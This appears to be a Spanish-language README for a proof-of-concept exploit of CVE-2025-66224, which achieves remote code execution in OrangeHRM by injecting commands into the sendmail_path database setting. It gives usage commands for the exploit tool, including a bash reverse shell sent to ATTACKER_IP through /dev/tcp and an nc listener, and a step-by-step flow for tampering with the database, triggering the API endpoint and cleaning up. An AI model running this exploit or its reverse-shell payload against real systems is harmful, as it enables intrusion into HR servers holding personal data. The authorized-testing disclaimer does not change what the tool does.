
Exploit de prueba de concepto para CVE-2025-66224 que demuestra la ejecución remota de código en OrangeHRM mediante inyección de comandos en el parámetro sendmail_path, con inyección automatizada de payloads en la base de datos y limpieza.
Esta Prueba de Concepto (PoC) demuestra una vulnerabilidad de Ejecución Remota de Código (RCE) en OrangeHRM mediante inyección de comandos en el parámetro de configuración sendmail_path.
El exploit funciona de la siguiente manera:
hs_hr_config)Esta herramienta se proporciona únicamente con fines educativos y de pruebas de seguridad autorizadas. El acceso no autorizado a sistemas informáticos es ilegal. Los autores no son responsables de cualquier uso indebido o daño causado por esta herramienta.
pip install requests mysql-connector-python
git clone https://github.com/richard-natan/PoC-CVE-2025-66224
cd PoC-CVE-2025-66224
pip install -r requirements.txt
_orangehrmpython3 exploit.py -t <TARGET_URL> -c <COOKIE_VALUE> \
-dh <MYSQL_HOST> -du <MYSQL_USER> -dp <MYSQL_PASSWORD> \
-cmd '<COMMAND_TO_EXECUTE>'
python3 exploit.py -t http://127.0.0.1:8080/ \
-c "g58tak8pbnheseatv6dggvi31i" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd "touch /tmp/pwned"
# Iniciar listener en la máquina atacante
nc -lvnp 4444
# Ejecutar el exploit con el payload de shell inversa
python3 exploit.py -t http://target.com/ \
-c "your_session_cookie" \
-dh 172.18.0.2 \
-du orange_user \
-dp orange_password \
-cmd 'bash -c "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"'
La vulnerabilidad existe en la funcionalidad de configuración de correo electrónico, donde el parámetro sendmail_path se almacena en la base de datos y posteriormente se ejecuta sin una sanitización adecuada.
Flujo de explotación:
1. Authenticate to OrangeHRM (obtain valid session cookie)
↓
2. Connect to MySQL database
↓
3. Locate hs_hr_config table
↓
4. Update email_config.sendmail_path value:
FROM: /usr/sbin/sendmail -bs
TO: /usr/sbin/sendmail -bs && <PAYLOAD> #
↓
5. Trigger execution via API:
PUT /web/index.php/api/v2/admin/email-configuration
↓
6. Command executes on server
↓
7. Restore original value (cleanup)
Parámetro vulnerable: email_config.sendmail_path
Base de datos:
hs_hr_configname = 'email_config.sendmail_path'value = ruta del comando sendmailEndpoint de activación:
PUT /web/index.php/api/v2/admin/email-configuration
sendmail_pathPoC por: RiccK
Equipo: Bypassadores && HackersOnSteroids
⚠️ Úsela de forma responsable. Obtenga siempre la autorización adecuada antes de realizar pruebas.
| Parámetro | Abreviatura | Obligatorio | Descripción |
|---|
--target | -t | ✅ | URL del objetivo (ej., http://target.com) |
--cookie | -c | ✅ | Valor de la cookie de sesión |
--cookie_name | -cn | ❌ | Nombre de la cookie (predeterminado: _orangehrm) |
--command | -cmd | ✅ | Comando a ejecutar en el objetivo |
--db_host | -dh | ✅ | Dirección del host de MySQL |
--db_user | -du | ✅ | Nombre de usuario de MySQL |
--db_pass | -dp | ✅ | Contraseña de MySQL |
--db_port | -dport | ❌ | Puerto de MySQL (predeterminado: 3306) |